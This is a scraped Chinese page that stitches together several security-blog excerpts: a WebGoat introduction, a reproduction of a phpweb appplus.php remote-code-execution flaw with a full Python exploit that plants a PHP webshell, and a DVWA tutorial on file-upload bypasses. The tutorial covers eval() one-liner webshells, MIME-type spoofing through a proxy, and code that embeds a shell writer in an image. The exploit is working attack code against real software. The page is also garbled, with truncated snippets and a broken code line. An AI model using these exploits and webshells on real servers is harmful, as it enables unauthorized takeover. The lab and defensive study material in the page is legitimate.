•  WebGoat是一个用于讲解典型web漏洞的基于J2EE架构的web应用,他由著名的WEB应用安全研究组织OWASP精心设计并不断...WebGoat本身是一系列教程,其中设计了大量的web缺陷,一步步的指导用户如何去利用这些漏洞进行

     本文转自:http://blog.csdn.net/bill_lee_sh_cn/article/details/4004109

      WebGoat是一个用于讲解典型web漏洞的基于J2EE架构的web应用,他由著名的WEB应用安全研究组织OWASP精心设计并不断更新,目前的版本已经到了5.0。WebGoat本身是一系列教程,其中设计了大量的web缺陷,一步步的指导用户如何去利用这些漏洞进行攻击,同时也指出了如何在程序设计和编码时避免这些漏洞。Web应用程序的设计者和测试者都可以在WebGoat中找到自己感兴趣的部分。
        虽然WebGoat中对于如何利用漏洞给出了大量的解释,但是还是比较有限,尤其是对于初学者来说,但觉得这正是其特色之处:WebGoat的每个教程都明确告诉你存在什么漏洞,但是如何去攻破要你自己去查阅资料,了解该漏洞的原理、特征和攻击方法,甚至要自己去找攻击辅助工具,当你成功时,WebGoat会给出一个红色的Congratulation,让你很有成就感!(咱号称搞技术的不就需要这个吗?)

         WebGoat甚至支持在其中加入自己的教程,具体方法可以查看其说明文档

         WebGoat中包括的漏洞教程主要有 

    Cross-site Scripting (XSS) 
    Access Control 
    Thread Safety 
    Hidden Form Field Manipulation 
    Parameter Manipulation 
    Weak Session Cookies 
    Blind SQL Injection 
    Numeric SQL Injection 
    String SQL Injection 
    Web Services 
    Fail Open Authentication 
    Dangers of HTML Comments 

     

    建议在使用WebGoat时对照OWASP的文档来看,比较有用的是下面三个:

         OWASP Testing Guide 3.0
         OWASP Code Review Guide 1.1
         OWASP Development Guide 2.0
         如果你以前没有接触过OWASP,当你看到这些文档时,应该会有一种感觉叫做兴奋。

     

         下面简单说一下安装方法(windows下):
         先下载webscarab-current.zip(这个自带tomcat,还有一个下载方式是war文件,需要自己安装tomcat,建议使用第一个),地址为http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解压到一个文件夹,运行webgoat.bat即可启动其自带的tomcat,通过访问http://localhost/WebGoat/attack,输入用户名guest,密码guest即可进入。如下图所示:
    WebGoat主界面

          有一点值得注意的是默认Tomcat只开放在127.0.0.1的80端口,其他的机器没有办法访问,这也是为了安全考虑,因为WebGoat中的漏洞实在太多了。如果是拿来学习,建议还是将其开在0.0.0.0上,修改tomcat下conf中server-80.xml,将其中的所有127.0.0.1改为0.0.0.0并重新运行webgoat.bat即可。server-8080.xml也可以改,但是要运行webgoat_8080.bat才有效果,
           知道有WebGoat这个好东东得益于一次和Fortify厂商的接触,Fortify也是OWASP的主要资助者,他们的程序跟踪分析器(PTA)和静态代码分析器(SCA)常常拿WebGoat来做演示。但是很可惜,没有保存Fortify的分析结果,Fortify也不提供个demo版,只好先拿IBM(收购自WatchFire)的AppScan来看看WebGoat中是否有那么多漏洞,下面是扫描结果:

    Appcan对WebGoat的扫描结果

    展开全文
  • 环境搭建 phpweb环境搭建很简单,基本就是下一步下一步点点点就可以了。 搭建前需要创建好phpweb对应数据库,如图: 然后前台下一步下一步一直点,安装成功: ...漏洞位于./base/appplus.php文件下...

    环境搭建

    phpweb环境搭建很简单,基本就是下一步下一步点点点就可以了。

    搭建前需要创建好phpweb对应数据库,如图:
    在这里插入图片描述
    然后前台下一步下一步一直点,安装成功:
    在这里插入图片描述
    前台:http://192.168.242.128/phpweb/3151/

    后台:http://192.168.242.128/phpweb/3151/admin.php

    复现:

    漏洞位于./base/appplus.php文件下,使用exp复现:

    python poc.py http://192.168.242.128/phpweb/3151
    

    如图,EXP会在网站./upload/目录下生成一个名为x.php,密码为pp的一句话木马,使用菜刀直接连接,getshell:
    在这里插入图片描述
    在这里插入图片描述
    **

    EXP:

    **

    # coding: utf-8
    # author: print("")
    
    import requests
    import re
    import os
    
    def Md5(strings):
        import hashlib
        m = hashlib.md5()
        m.update(strings.encode('utf-8'))
        return m.hexdigest()
    
    def get_key(uri):
        try:
            data=requests.post(url=uri,data={"act":"appcode"},timeout=10).text
            k=re.findall('k=(.*)&',data)[0]
            t=re.findall('t=(.*)',data)[0]
            return {"md5":Md5(k+t),"t":t}
        except:
            print('fail to connect to server')
    
    def send_shell():
        data=open('x.php','w')
        data.write('')
        data.close()
    
    def upload():
        send_shell()
        get_key22 = get_key(uri)
        files = {'file':open('x.php','rb')}
        data={'act':'upload','m':get_key22['md5'],'t':get_key22['t'],"path":'upload','r_size':os.path.getsize('x.php')}
        try:
            r = requests.post(url=upload_url, files=files,data=data).text
            print(r)
        except:
            print('fail to connect to server')
    
    if __name__ == '__main__':
        import sys
        if not sys.argv[1]:exit('example: python phpweb_rce.py http://127.0.0.1')
        url=sys.argv[1jin
        uri = url + '/base/post.php'.replace('//', '/')
        upload_url = url + '/base/appplus.php'.replace('//', '/')
        upload()
    

    在这里插入图片描述

    展开全文
  • Web安全渗透-学习笔记-文件上传漏洞 文件上传漏洞原理 所谓文件上传漏洞,就是利用上传相应的可执行脚本文件到服务器上,使我们能够获得服务器的操作权限。可执行的脚本文件有很多,这里就拿PHP的一句话木马举例:...

    Web安全渗透-学习笔记-文件上传漏洞

    需要使用的工具1:中国菜刀
    下载链接:https://pan.baidu.com/s/1CJc3twnSaWVv9BsJ9KzmEA 提取码:cor1
    需要使用的工具2: edjpgcom
    下载链接:链接:https://pan.baidu.com/s/1XDZq9goC6zW6j4uSs9DM2A 提取码:xcet
    工具都来源于网络,出现任何问题本人概不负责 =.= (自己用的途中好像没啥问题,除了报毒)

    文件上传漏洞原理

    所谓文件上传漏洞,就是利用上传相应的可执行脚本文件到服务器上,使我们能够获得服务器的操作权限。可执行的脚本文件有很多,这里就拿PHP的一句话木马举例:
    <?php @eval($_POST[value]);?>
    这里面的 value 可以换成其他任意的,这个表示连接被植入可执行代码服务器的密码。我们在把它保存为一个php文件后,就可以想办法上传到服务器上面。上传上去后我们就可以通过“中国菜刀”连接上目标服务器,对它进行操作管理。

    • 进入OWASPBWA中的DVWA漏洞
      在这里插入图片描述
    • 进入文件上传漏洞界面-用户名和密码都为 admin
      在这里插入图片描述

    文件上传漏洞安全级别

    在OWASPBWA靶机中,文件上传漏洞包含了三个级别,分别是:低安全级别、中安全级别、高安全级别,每个安全级别对应的模式也不同。

    低安全级别

    低安全级别是真的不安全,目标系统由于没有对上传的文件进行限制,所以原本是让我们上传图片,但是我们却可以上传其他类型的文件,比如一些php木马文件等,在该安全级别下,我们可以直接上传可执行脚本文件文件到网站上,然后通过安全工具直接连接目标系统,对目标系统进行连接操作。

    • 上传一句话木马文件-点击打开后再点击upload在这里插入图片描述
    • 验证文件

    在这里插入图片描述
    回车后出现如下空白界面属于正常的

    在这里插入图片描述

    • 在OWASP上验证文件是否成功上传
      在这里插入图片描述-
    • 通过菜刀连接(内啥,杀毒软件关了,不然会被杀掉……)
      在这里插入图片描述
    • 打开后按照步骤进行操作
      在这里插入图片描述
    • 成功添加后可以对机器进行管理,这里我们选择文件管理

    在这里插入图片描述

    • 进入系统后的相关界面展示

    在这里插入图片描述

    中安全级别

    心态炸裂,幸幸苦苦写一半的时候突然跑去开了代理,我说突然不能上传图片了,还以为是平台的问题,然后重新继续写……

    中安全级别相对于低安全级别而言,对文件类型进行了限制,正常情况下,我们只能上传图片文件。但是我们可以通过代理,然后修改我们上传文件的mime的类型。具体mime类型介绍可参考网络文献。中安全级别下我们通过代理服务器修改我们上传文件的mime类型,就可以上传不是图片的文件。比如我们还是上传php木马,我们开启了代理功能后,在网页内上传文件时,我们的代理服务器会劫持到我们的请求,然后我们通过修改上传文件类型,比如php类型应该为"application"类型,我们把它修改为"image/jpeg",然后在让代理服务器把该请求转发过去,这时候我们上传的文件类型本来是可执行的php文件,但是通过代理修改了类型过后,目标服务器接收到的请求是上传了一个图片文件,所以这时候脚本文件就成功上传,然后就可以通过安全工具连接目标系统进行连接操作了。

    • 修改安全级别为中安全级别

    在这里插入图片描述

    • 打开文件上传漏洞(与前面操作步骤一致)

    • 测试中安全级别下php文件的上传
      发现文件无法上传,这是因为后台对上传文件的 mime 类型进行了限制,mime的前面有大致提过,具体的详细信息可以百度去深入了解。
      在这里插入图片描述

    • 设置本机的代理服务器
      Win10的机器设置代理方法是鼠标右击任务栏上的网络图标–选择 打开“网络和internet设置” – 选择代理–设置相关内容
      在这里插入图片描述

    • 设置Kali下的代理
      在这里插入图片描述

    • 回到测试主机,再次进行文件上传操作。

    • 然后点击Upload后进入Kali主机的工具中,如下图所示:修改图中标记内容为image/jpeg 后点击Forward
      在这里插入图片描述

    • 回到测试主机,发现中安全模式下上传php文件成功
      在这里插入图片描述

    • 后续步骤和低安全模式操作基本一致。

    2019年7月12日,找了一个周的工作还没找到合适的,好烦啊 =。=

    高安全级别

    需要用到的工具
    高安全级别,正如它的名字一样,该安全级别下,服务器对上传的文件进行了扩展名的限制,比如它限制了只能上传jpg格式的图片,然后我们上传其他类型文件时就无法成功上传,并且就算我们利用中安全级别的代理修改mime文件类型也没有用,因为服务器是限制了扩展名,我们虽然修改了mime类型,但是原来的扩展名还是“.php”,所以该方法就不适用了。这时候只能老老实实的上传图片,但是我们可以对图片进行一些处理,让我们的代码植入到图片之中,然后将图片上传到服务器上面,可是你以为带有木马代码的图片上传上去就可以进入对方系统了吗?NO,因为我们上传的图片虽然有代码,但是我们的代码还没有执行,我们想办法执行图片里面的代码后才能正常的进入目标系统。具体怎么让代码执行,我们需要用到文件包含漏洞的知识,利用文件包含漏洞来使图片里面的代码执行,然后执行后通过安全工具进行目标系统的连接操作。相关知识后面学习。

    • 设置安全级别为高安全级别,在高安全级别下对上传的文件类型的扩展名做了限制,只能上传后缀名为jpg或者其他图像格式的文件。
    • 由于限制了上传文件的扩展名,所以老实上传图片,但是我们可以给图片植入相关木马脚本,然后通过执行图片的内容生成一句话木马文件过后就可以通过菜刀连接。
    • 给图片植入木马脚本
    <?fputs(fopen("muma.php","w"),'<?php eval($_POST[cmd];?>')?>

    打开edjpgcom工具的文件夹,文档开头有下载链接

    在这里插入图片描述
    在这里插入图片描述

    • 上传带有木马的图片(正常上传即可),并检测图片中的代码是否正常的被写入。
      在这里插入图片描述
    • 后续步骤在文件包含漏洞中继续操作

    文件上传漏洞防御

    文件上传一般都是用于头像之类的地方,我们应该要对上传的文件做基本的限制,比如设置头像时我们就只能让用户上传图片,不允许上传其他文件。但是上传图片的话也有一定的风险,因为别人有可能把可执行代码植入到图片中将图片上传后通过其他漏洞执行该代码,从而取得我们服务器的管理权限。并且,别人要想获得我们服务器的权限,他需要知道他上传的文件在哪个位置,所以我们应该不能让上传文件所保存的路径暴露出来,这样相对来说安全一点,因为让别人知道问价保存的路劲后,也许会通过其他更简便的手段获取到服务器的管理权限。

    结尾

    视频看完了好久,然后突然操作的时候发现很多都不会,所以通过这样一边操作一边写博客的模式来加深自己对该知识的印象。视频是在B站看的-千锋教育-杨哥,博客内容的步骤也是基本来源于效仿视频里的内容。
    链接: 视频链接.
    哪忘了就继续回去复习

    展开全文
  • web常见攻击六——文件上传漏洞
    展开全文
  • 上传漏洞讲解(1)

    2018-03-12 02:58:30
    什么是文件上传漏洞?就是开发者在编写上传页面时,没有对上传文件的类型以及拓展名进行严格过滤,导致攻击者可根据操作系统特性构造字符进行绕过达到上传恶意文件的操作。文件上传漏洞基础(后缀,解析漏洞)文件...

    什么是文件上传漏洞?

    就是开发者在编写上传页面时,没有对上传文件的类型以及拓展名进行严格过滤,导致攻击者可根据操作系统特性构造字符进行绕过达到上传恶意文件的操作。


    文件上传漏洞基础(后缀,解析漏洞)

    文件上传:

    常识:文件后缀必须同文件代码保持一致。

    解析漏洞原因及条件:web搭建平台相关

    IIS,Apache,nginx

    以其他格式后缀执行出后门格式效果

    常见解析漏洞

    IIS6.0 解析后缀 

    文件类型
    正常:www.xxx.com/logo.jpg
    触发漏洞:www.xxx.com/logo.asp;.jpg
    文件夹类型
    正常:www.xxx.com/image/qq.jpg
    触发漏洞:www.xxx.com/image.asp/qq.jpg

    Iis7.x nginx
    正常:www.xxx.com/qq.jpg
    有漏洞:www.xx.com/qq.jpg/*.php
    备注:存在漏洞,即文件被当作php程序解析

    Apache低版本
    正常:www.xxx.com/qq.jpg
    有漏洞:www.xxx.com/qq.php.xxxx
    备注:存在漏洞,向上逐次解析

    获取网站搭建平台:

    直接通过网站的审查元素功能监听数据包获取。


    思考解析漏洞利用场景
    后台或其他应用上传文件时,情况如下:
    1.客户端和服务端命名一致
    2.客户端和服务端命名不一致(时间,随机等)

    例子:通过抓包修改filepath+解析漏洞突破上传限制。



    展开全文
  • 该套餐详细讲web中的常见攻击,并通过后台暴力破解上传木马拿去后台webshell。为了对漏洞理解的更深入详细讲解了xss漏洞,在后附送了ctf隐写的总结。
  • web渗透测试

    2019-06-25 11:35:51
    Web渗透测试教程,该课程侧重于讲解Web安全,并通过实验详细分析常见的十种Web漏洞漏洞利用过程等。
  • 本来想写的粗略一点,但是回想起来自己当初学习的时候,一个小问题都能纠结半天,所以本白决定从开天辟地开始写起,今天这个渗透是利用文件上传漏洞,这里采用最广泛的头像上传图片的漏洞进行渗透。首先渗透肯定是...
  • 如果开发者对上传的内容过滤的不严,那么就会存在任意文件上传漏洞,就算不能解析,也能挂个黑页,如果被 fghk 利用的话,会造成很不好的影响。 如果上传的文件,还能够解析,或者配合文件包含漏洞,那么就能获取到...
  •  文件上传漏洞可以说是网站渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接;但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识! 上传漏洞特点 ...
  • 上传漏洞利用方法比较多,基本的任意文件上传不再赘述,大概说一下简单的绕过和一些问题 我们为了此漏洞关注各种上传点,而各大厂商也会密切关注并及时作出对应策略。大致的绕过分为前端验证绕过和后端验证绕过。 一...
  • 这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了Sqlmap的基本用法、CTF实战,包括设置HTTP、POST请求、参数分割、设置Cookie...
  • 前文分享了编辑器漏洞和IIS高版本文件上传漏洞,包括FCKeditor、eWebEditor、畸形解析漏洞等;本篇文章将详细讲解Upload-labs靶场及文件上传漏洞10道CTF题目,并结合Caidao工具介绍拿站的流程及防御原理。如果文章对...
  • 防御手段: ... 一旦频繁调用接口验证时,应该使用图形验证码拦截,防止机器模拟。 使用黑名单和白名单机制,防御攻击。...上传漏洞这个顾名思义,就是攻击者通过上传木马文件,直接得到WEBSHELL,危...
  • 个经典漏洞的深入剖析,讲解了漏洞的成因、攻击手段及解决方案,学员可通过实际演示、调试,复现漏洞,能够更充分的理解漏洞的成因,为后续寻找解决方案打下牢固的基础。 404实验室,是国内白帽黑客文化浓厚的知名...
  • 文件上传漏洞的产生是因为Web应用程序没有对上传文件的格式进行严格过滤;攻击者可以上传病毒,恶意脚本,webshall等严重威胁服务器安全的文件,如果服务器的处理逻辑做的不够安全的话,将会导致严重后果。 准备实战...
  • FCK编辑器漏洞综合利用工具 Burpsuite抓包工具BurpSuite破解版及安装教程 FCK编辑器(FCKEditor 富文本编辑器) FCKeditor简介 FCKeditor是一个专门使用在网页上属于开放源代码的所见即所得文字编辑器。它志于轻量化...
  • 0x00 前言 基础概念的讲解,按照视频做笔记,做一个整理,能扩展的地方...2.上传 3.跨站 4.服务器漏洞 5.架设工具漏洞 6.第三方软件漏洞 7.其他各种漏洞汇总 0x01 注入 由于之后的课程会有对注入的详细...
  • 这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友共勉,希望您们喜欢,一起进步。前文分享了文件上传漏洞和IIS6.0解析漏洞,包括PHP345文件绕过上传、Windows ::$DATA绕...
  • Web攻防系列教程之文件上传攻防解析:  文件上传WEB应用很常见的一种功能,本身是一项正常的业务需求,不存在什么问题。但如果在上传时没有对文件进行正确处理,则很可能会发生安全问题。本文将对文件上传的检测...
1 2 3 4 5 ... 20
收藏数 3,161
精华内容 1,264